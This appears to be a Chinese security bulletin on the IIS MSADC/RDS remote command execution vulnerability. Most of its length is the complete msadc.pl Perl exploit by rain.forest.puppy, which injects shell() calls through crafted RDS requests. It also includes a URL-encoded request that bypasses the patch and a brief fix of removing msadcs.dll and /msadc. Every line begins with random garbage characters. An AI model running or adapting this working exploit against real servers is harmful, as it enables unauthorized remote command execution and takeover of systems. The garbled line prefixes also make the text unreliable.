IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
j+{cc: h"X #g0N/ 涉及程序：
c~;V vYu Microsoft NT server
!
Vlx ('$*QC.M 描述：
e6
x#4YH 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/e^) *r )N6 07 Fa- 详细：
5MKM;6cA&p 如果你没有时间读详细内容的话，就删除:
|v 5
ge3- c:\Program Files\Common Files\System\Msadc\msadcs.dll
~I%164 B+/ 有关的安全问题就没有了。
nZ ( wfNk =&qH%S6 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
>5"e<mwD7d x(R;xB 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
f?ibyoXL 关于利用ODBC远程漏洞的描述，请参看:
8oXp8CC Uxik&M http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (
^@i(XQ p ]/[ji 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
r|j M; http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~K 99DK. J YA>Q& 这里不再论述。
hvNK"^\p (2M00J-o 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^cSfkBh }#%Y e CA? /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}4H}*P> + 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
WBkx!{\z r]D U aR('u:@jHi #将下面这段保存为txt文件，然后: "perl -x 文件名"
!MOsP<2 zUZET'Bm9 #!perl
5>daWmD #
T!>h Pg # MSADC/RDS 'usage' (aka exploit) script
)b>misb/ #
F4WX$;1 # by rain.forest.puppy
V45adDiZ #
@G=7A;-pv0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
kR^h@@'F" # beta test and find errors!
)T^w c: [rK`BnJX use Socket; use Getopt::Std;
^bl w\;LB getopts("e:vd:h:XR", \%args);
(xVx|:R[<H ls!A'@J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
wV nmT94 T]tu#h{
a if (!defined $args{h} && !defined $args{R}) {
w?^[* _Y print qq~
VNIl%9:-l Usage: msadc.pl -h <host> { -d <delay> -X -v }
Q^nf D
-h <host> = host you want to scan (ip or domain)
cfa1"u""e -d <seconds> = delay between calls, default 1 second
B@0#*I
Rm -X = dump Index Server path table, if available
~> lqEa -v = verbose
Bp5ra9*5+~ -e = external dictionary file for step 5
9+s&|XS* YM'4=BlJHv Or a -R will resume a command session
CI$z+ zN /2 c(6h ~; exit;}
s@7h oU-+ C4.GtY8,d $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
K%mR=u# %& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Y,Rr[i"j if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
G)t-W %D& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q/ 54=8*h0 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
nXoDI1<[ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5;p|iT S7nx4c2xK~ if (!defined $args{R}){ $ret = &has_msadc;
q oi21mCn die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
X9]} UX z},\1^[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
w4\
3* . "cmd /c ";
#{J~
km / $in=<STDIN>; chomp $in;
N#"l82^H* $command="cmd /c " . $in ;
I^ ![)# FC JJ}DYv if (defined $args{R}) {&load; exit;}
r hucBm Og1vD5a print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
$ B&Zn Z? &try_btcustmr;
EA8plQ~GtE RtHai[j print "\nStep 2: Trying to make our own DSN...";
"0# (<zb| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
!bYVLFp=\_ Ry]9n.y print "\nStep 3: Trying known DSNs...";
g0U?`;n$ &known_dsn;
R2-F @_ 3 e1-w$z&S print "\nStep 4: Trying known .mdbs...";
#Pf<2S
&known_mdb;
x< 2]UB` R<6y7?]bZ if (defined $args{e}){
Qg(;>ops print "\nStep 5: Trying dictionary of DSN names...";
}8aqSD<: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
SE^l`.U@ *PL&CDu=) print "Sorry Charley...maybe next time?\n";
d4\JM 65 exit;
};9s8VZE , h'Q ##############################################################################
9wld d*r &,jUaC5I sub sendraw { # ripped and modded from whisker
p!^K.P1 ' sleep($delay); # it's a DoS on the server! At least on mine...
8zj&e8&v my ($pstr)=@_;
U), HrI>; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nYZ6'Iwi' die("Socket problems\n");
Y)5O %@Rl if(connect(S,pack "SnA4x8",2,80,$target)){
la-:"gKC select(S); $|=1;
*!&?Xy%\"j print $pstr; my @in=<S>;
,pGA|ob select(STDOUT); close(S);
4}/gV) return @in;
f)z(9JJL } else { die("Can't connect...\n"); }}
vn$=be8l4 W$NFk( ##############################################################################
Aixe?A_x Q. O4R_ H sub make_header { # make the HTTP request
( Q%
@] my $msadc=<<EOT
O$m &!J POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
GAYn*'< User-Agent: ACTIVEDATA
K&NH? Host: $ip
;)CN=J! Content-Length: $clen
1 @t.J> Connection: Keep-Alive
ki@C}T5 H 8 ? Y{H ADCClientVersion:01.06
ui# nN Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.Hqq!& 5=
&2 = --!ADM!ROX!YOUR!WORLD!
Y8v[kuo7 Content-Type: application/x-varg
xlwf @XW Content-Length: $reqlen
T:{r*zLSN [(#)9/3, EOT
# M/n\em"X ; $msadc=~s/\n/\r\n/g;
'hBnV xd& return $msadc;}
!JrKTB% hZ
e{Ri ##############################################################################
5yoi;$~}_0 M NwY
sub make_req { # make the RDS request
f7Nmvla[q my ($switch, $p1, $p2)=@_;
Ul]7I Uzsu my $req=""; my $t1, $t2, $query, $dsn;
`j)56bR W5`p Qd k if ($switch==1){ # this is the btcustmr.mdb query
CQ/+- -o $query="Select * from Customers where City=" . make_shell();
Eq;w5;7s $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
aaY AS "/: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
L{F]uz_[x jwE= elsif ($switch==2){ # this is general make table query
<Y}m/-sD5 $query="create table AZZ (B int, C varchar(10))";
zE$HHY2ovi $dsn="$p1";}
!P EKMDh QA0u T{x90 elsif ($switch==3){ # this is general exploit table query
+39uKOrZ $query="select * from AZZ where C=" . make_shell();
zM&ro,W $dsn="$p1";}
:AztHf?X ~<VxtcEBz elsif ($switch==4){ # attempt to hork file info from index server
i]k)wr( $query="select path from scope()";
/}U)|6- B $dsn="Provider=MSIDXS;";}
H6 x T&pCLvk z elsif ($switch==5){ # bad query
oyd P}X $query="select";
=&UE67eK, $dsn="$p1";}
JnK<:]LcK ^" ?a)KC $t1= make_unicode($query);
{q8|/{; $t2= make_unicode($dsn);
)?#K0 o[< $req = "\x02\x00\x03\x00";
@hg[v`~ $req.= "\x08\x00" . pack ("S1", length($t1));
N^[
F+y $req.= "\x00\x00" . $t1 ;
> VIFQ\ $req.= "\x08\x00" . pack ("S1", length($t2));
2ak]&ll+h $req.= "\x00\x00" . $t2 ;
k
$^/$N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
TU~y;:OJ return $req;}
mp$IhJ6# %+j/nA1%S ##############################################################################
N)Q_z9b= v0 :n:q sub make_shell { # this makes the shell() statement
A9BoH[is7 return "'|shell(\"$command\")|'";}
qfJ2iE|o2. `Ze$Bd\ ##############################################################################
JX 5/PCO 0$Rn|yqf % sub make_unicode { # quick little function to convert to unicode
~\NQkaBkY my ($in)=@_; my $out;
|Vz)!M for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7MrHu 2rZ= return $out;}
ma*#* 4 A ~vx,|I ##############################################################################
e Fz$h2*B 4_QfM}Fyp sub rdo_success { # checks for RDO return success (this is kludge)
t.;._' my (@in) = @_; my $base=content_start(@in);
=T2 SJ) if($in[$base]=~/multipart\/mixed/){
aanS^t0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
oz=ULPZ%
return 0;}
7_s+7x =
B(s^(__] ##############################################################################
8TB|Y m"Mj3Z: sub make_dsn { # this makes a DSN for us
r4iNX+h?V my @drives=("c","d","e","f");
V||b%Cb1g print "\nMaking DSN: ";
Ss 5 @ n foreach $drive (@drives) {
=
>TU print "$drive: ";
\ [[xyd my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0g: q%P0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}1 qQ7}v . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
(n B[aM $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
tb~E. Lm\ return 0 if $2 eq "404"; # not found/doesn't exist
iKPgiL~ if($2 eq "200") {
m\jjj^f a foreach $line (@results) {
@uRJl $3 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d5A e67 } return 0;}
v^o`+~i D^%IFwU^ ##############################################################################
X5.9~ GBBr[}y- sub verify_exists {
LhAW|]; my ($page)=@_;
3h.,7,T my @results=sendraw("GET $page HTTP/1.0\n\n");
d6tv4Cf return $results[0];}
oc,I, v l([aK m# ##############################################################################
D
)` ( b &\6},JN sub try_btcustmr {
aeN #<M&$< my @drives=("c","d","e","f");
9Xg7=( # my @dirs=("winnt","winnt35","winnt351","win","windows");
FvVC 2Z =Y|( }92 foreach $dir (@dirs) {
Q+Q"J U print "$dir -> "; # fun status so you can see progress
$<)]~* *K foreach $drive (@drives) {
hq {{XQ print "$drive: "; # ditto
zL+t&P[\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ip7#${f5M $reqlenlen=length( "$reqlen" );
"!vY{9, $clen= 206 + $reqlenlen + $reqlen;
.E^w, o 80 Hi v my @results=sendraw(make_header() . make_req(1,$drive,$dir));
g!_#$ az3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
cFq<x=S else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-DHzBq=H Ow> u!P! ##############################################################################
K5LJx -x*j diu"Nt sub odbc_error {
&':C"_|&r my (@in)=@_; my $base;
cd 1-2-4U my $base = content_start(@in);
Zx{ Sxv" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\`~YW<D $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]3,9 ."^ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{~ 9HJDcM $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e{87n>+, return $in[$base+4].$in[$base+5].$in[$base+6];}
n;:.UGl9. print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.+XK>jl + print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
G.L}VpopM $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
deYv&=SPl /# Jvt ##############################################################################
,h1\PT9ULY zOSUYn sub verbose {
p : z ][I my ($in)=@_;
#Swc >jYc return if !$verbose;
0!YVRit\N print STDOUT "\n$in\n";}
Hl%Og$q3 fh )eL<I ##############################################################################
E-Xz *V:U\G sub save {
XZ.D<T" my ($p1, $p2, $p3, $p4)=@_;
iP9 ]b& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
XYP
RMa? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
q
j21#q
. close OUT;}
Peph..8 Z }a!|n4|` ##############################################################################
`T+>E0H(f ;rT/gwg! sub load {
]8 }2 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ws`r\k]3J open(IN,"<rds.save") || die("Couldn't open rds.save\n");
x7E] }h @p=<IN>; close(IN);
AKjobA# $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
rG~W=!bj $target= inet_aton($ip) || die("inet_aton problems");
+~G:z| k print "Resuming to $ip ...";
Ih5Y7<8b~ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
%Bm{ctf#) if($p[1]==1) {
k]:`<`/I_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
".|8 (Y $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
`
~m/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
lU
Zj if (rdo_success(@results)){print "Success!\n";}
T7mT:z>: else { print "failed\n"; verbose(odbc_error(@results));}}
m[y~-n elsif ($p[1]==3){
.{I LeG if(run_query("$p[3]")){
->51t print "Success!\n";} else { print "failed\n"; }}
1WqCezI elsif ($p[1]==4){
-a_qZ7 if(run_query($drvst . "$p[3]")){
}*9F `=%F print "Success!\n"; } else { print "failed\n"; }}
PtUS7[] exit;}
a'Cny(( $H3C/| ##############################################################################
dkEbP*y Xg xzY/$? sub create_table {
y_ [VhZ% my ($in)=@_;
={cM6F}a@ $reqlen=length( make_req(2,$in,"") ) - 28;
cu5}( $reqlenlen=length( "$reqlen" );
(T2HUmkQ6 $clen= 206 + $reqlenlen + $reqlen;
"Y^Fn, c my @results=sendraw(make_header() . make_req(2,$in,""));
"dv\
9O return 1 if rdo_success(@results);
MwQtf(_ my $temp= odbc_error(@results); verbose($temp);
NMw5ixl return 1 if $temp=~/Table 'AZZ' already exists/;
c %Y *XJ' return 0;}
@6DKw;Q |b='DJz2 ##############################################################################
dbEXl m -}T7F+ sub known_dsn {
K'8?%&IQ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
4IW90"uc my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7lF;(l^Z>} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
l<=k#d "banner", "banners", "ads", "ADCDemo", "ADCTest");
N4VZl[7? X(d:!-_m * foreach $dSn (@dsns) {
/ o$6"~t print ".";
xG
ed Y*[` next if (!is_access("DSN=$dSn"));
GB g if(create_table("DSN=$dSn")){
aDz%
%%:r
print "$dSn successful\n";
+ah4 K(+ 3 if(run_query("DSN=$dSn")){
3C=QWw? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dMjQ V& print "Something's borked. Use verbose next time\n";}}} print "\n";}
t4 ; gY298 ={o4lFe3v( ##############################################################################
{c?{M.R ^|h_[> sub is_access {
2.);OFk + my ($in)=@_;
.XK3o .ZhW $reqlen=length( make_req(5,$in,"") ) - 28;
MTE 1\, $reqlenlen=length( "$reqlen" );
1=+S'_j $clen= 206 + $reqlenlen + $reqlen;
*dB3Gu{
+ my @results=sendraw(make_header() . make_req(5,$in,""));
9b-4BON{P my $temp= odbc_error(@results);
%<Qv?`B verbose($temp); return 1 if ($temp=~/Microsoft Access/);
&=%M("IlD return 0;}
;A"i .:ZT tD}{/`{_t ##############################################################################
! Y UT* Q rSO%Rm1* sub run_query {
h
K s
my ($in)=@_;
Wn;% B].I $reqlen=length( make_req(3,$in,"") ) - 28;
SI6?b1;-:F $reqlenlen=length( "$reqlen" );
h^IizrqU $clen= 206 + $reqlenlen + $reqlen;
Qt'3v"S>) my @results=sendraw(make_header() . make_req(3,$in,""));
Tp~Qg{%Og return 1 if rdo_success(@results);
Gl{2"!mt= my $temp= odbc_error(@results); verbose($temp);
&u"mFweS return 0;}
$@{ d\@U B[w. 8e5 ##############################################################################
"3 2Ua3m:G KTo}xLT
sub known_mdb {
r#ADxqkaV my @drives=("c","d","e","f","g");
qS}{O0 my @dirs=("winnt","winnt35","winnt351","win","windows");
1$ }Tn my $dir, $drive, $mdb;
]x& R=)P my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\mb@-kM) ;/23CFYM # this is sparse, because I don't know of many
j}@LiH'Q my @sysmdbs=( "\\catroot\\icatalog.mdb",
qa: muW "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Ygfy;G% "\\system32\\certmdb.mdb",
OL#i !ia. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Q-s5-&h ( h>xB"E|. my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
z:O:g?A "\\cfusion\\cfapps\\forums\\forums_.mdb",
b4KNIP7E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0lqh;/ "\\cfusion\\cfapps\\security\\realm_.mdb",
l'!_km0{d "\\cfusion\\cfapps\\security\\data\\realm.mdb",
%dmQmO, "\\cfusion\\database\\cfexamples.mdb",
Bq4@I_b "\\cfusion\\database\\cfsnippets.mdb",
#cD$
DA "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d"ZsOq10D "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
VD,g3B p "\\cfusion\\brighttiger\\database\\cleam.mdb",
-yIx:*KI "\\cfusion\\database\\smpolicy.mdb",
n ]l3
)u "\\cfusion\\database\cypress.mdb",
;L],i<F "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y?oeP^V'u "\\website\\cgi-win\\dbsample.mdb",
2I=4l "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)h(=X&(d "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
) TN G0[ ); #these are just
qMO(j%N5 foreach $drive (@drives) {
ffOV7Dxy foreach $dir (@dirs){
#'#@H foreach $mdb (@sysmdbs) {
*gwo.s print ".";
0|\A5
eG if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
M6Ik 'r"M print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
X*)DpbWd if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
L`w_Q2{sv print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
[4])\q^q } else { print "Something's borked. Use verbose next time\n"; }}}}}
HR'F 6_w~#86= foreach $drive (@drives) {
UY\E uA9 foreach $mdb (@mdbs) {
uXGAcUx( print ".";
|hvclEu, if(create_table($drv . $drive . $dir . $mdb)){
x f:|lQf print "\n" . $drive . $dir . $mdb . " successful\n";
tOQnxKzu if(run_query($drv . $drive . $dir . $mdb)){
/I`- print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
6% c]{eTd9 } else { print "Something's borked. Use verbose next time\n"; }}}}
a}k5[)et }
`- 9p)@'8k 3P'Wk|j ##############################################################################
zb!RfQ, 7Sycy#D sub hork_idx {
p{0rHu [ print "\nAttempting to dump Index Server tables...\n";
"GxQ9=Z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
N40DL_- $reqlen=length( make_req(4,"","") ) - 28;
9~r8$,e $reqlenlen=length( "$reqlen" );
2-#&ktM%V $clen= 206 + $reqlenlen + $reqlen;
b u/GaE~ my @results=sendraw2(make_header() . make_req(4,"",""));
)E e`1 1 if (rdo_success(@results)){
<{HV|B7 my $max=@results; my $c; my %d;
wX@g >( for($c=19; $c<$max; $c++){
~P-^An^ $results[$c]=~s/\x00//g;
8hX / ~-H $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
SmP&wNHQ f $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
y 5Kr<cF^ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
vF{{$)c $d{"$1$2"}="";}
K>2 Bz&) foreach $c (keys %d){ print "$c\n"; }
%F0.TR!!n } else {print "Index server doesn't seem to be installed.\n"; }}
3qp\jh=FE ^7`gf ##############################################################################
vri<R 8 ?j8_ j sub dsn_dict {
YipL _&- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
R36A_ while(<IN>){
:u?L
y[x $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
gF|u%_y-qt next if (!is_access("DSN=$dSn"));
baR*4{] if(create_table("DSN=$dSn")){
?*f2P T?` print "$dSn successful\n";
5W_Rg:J{P if(run_query("DSN=$dSn")){
[Al} GM print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ch&2{ ng print "Something's borked. Use verbose next time\n";}}}
?ieC>cr print "\n"; close(IN);}
bqZ5 GKUo [_tBv" z ##############################################################################
D'_ w
* 7}fT7tsN sub sendraw2 { # ripped and modded from whisker
K3J,f2Cn$ sleep($delay); # it's a DoS on the server! At least on mine...
? C6t Yd my ($pstr)=@_;
*b(nX,e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Hh qNp U die("Socket problems\n");
to] ~$~Q|> if(connect(S,pack "SnA4x8",2,80,$target)){
Ij7[2V]c print "Connected. Getting data";
KA9v?_@{ F open(OUT,">raw.out"); my @in;
D;oX*` select(S); $|=1; print $pstr;
14 hE <u while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Sh U1RQk close(OUT); select(STDOUT); close(S); return @in;
;<K#h9#*7
} else { die("Can't connect...\n"); }}
CGZ3-OW@E YGCBDH%6 ##############################################################################
rn-CQ2{? 5o Y^; )\/ sub content_start { # this will take in the server headers
K!|J/W my (@in)=@_; my $c;
=D^R,Q for ($c=1;$c<500;$c++) {
bR83N if($in[$c] =~/^\x0d\x0a/){
*)qxrBc0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
1>_2 =^[ else { return $c+1; }}}
qL!pDZk return -1;} # it should never get here actually
1xb1?/n1# X:OU u; ##############################################################################
N?mQ50o~C .arWbTR)~U sub funky {
sK|+&BC my (@in)=@_; my $error=odbc_error(@in);
.vtV2lq if($error=~/ADO could not find the specified provider/){
Uf\U~ wM< print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$x q$ exit;}
te#Wv9x if($error=~/A Handler is required/){
0{.[#!CSk print "\nServer has custom handler filters (they most likely are patched)\n";
t|}}#Z!I[f exit;}
,-5|qko= if($error=~/specified Handler has denied Access/){
!s[[X5 print "\nServer has custom handler filters (they most likely are patched)\n";
iiTt{ab\Y exit;}}
/
#D R| sk~inIj- ##############################################################################
63pd W/\j p2(Z(V7* sub has_msadc {
L<ET"&b;4 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
LZ1 )zoJ my $base=content_start(@results);
%bgUU|CdA return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Kr@6m80E5 return 0;}
=$F<Ac;& 8@d@T V!n& ########################
V*F |Yo: C5 EaP%s ?!$: I8T 解决方案：
}9 I,p$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
o9c?)K Q 2、移除web 目录: /msadc
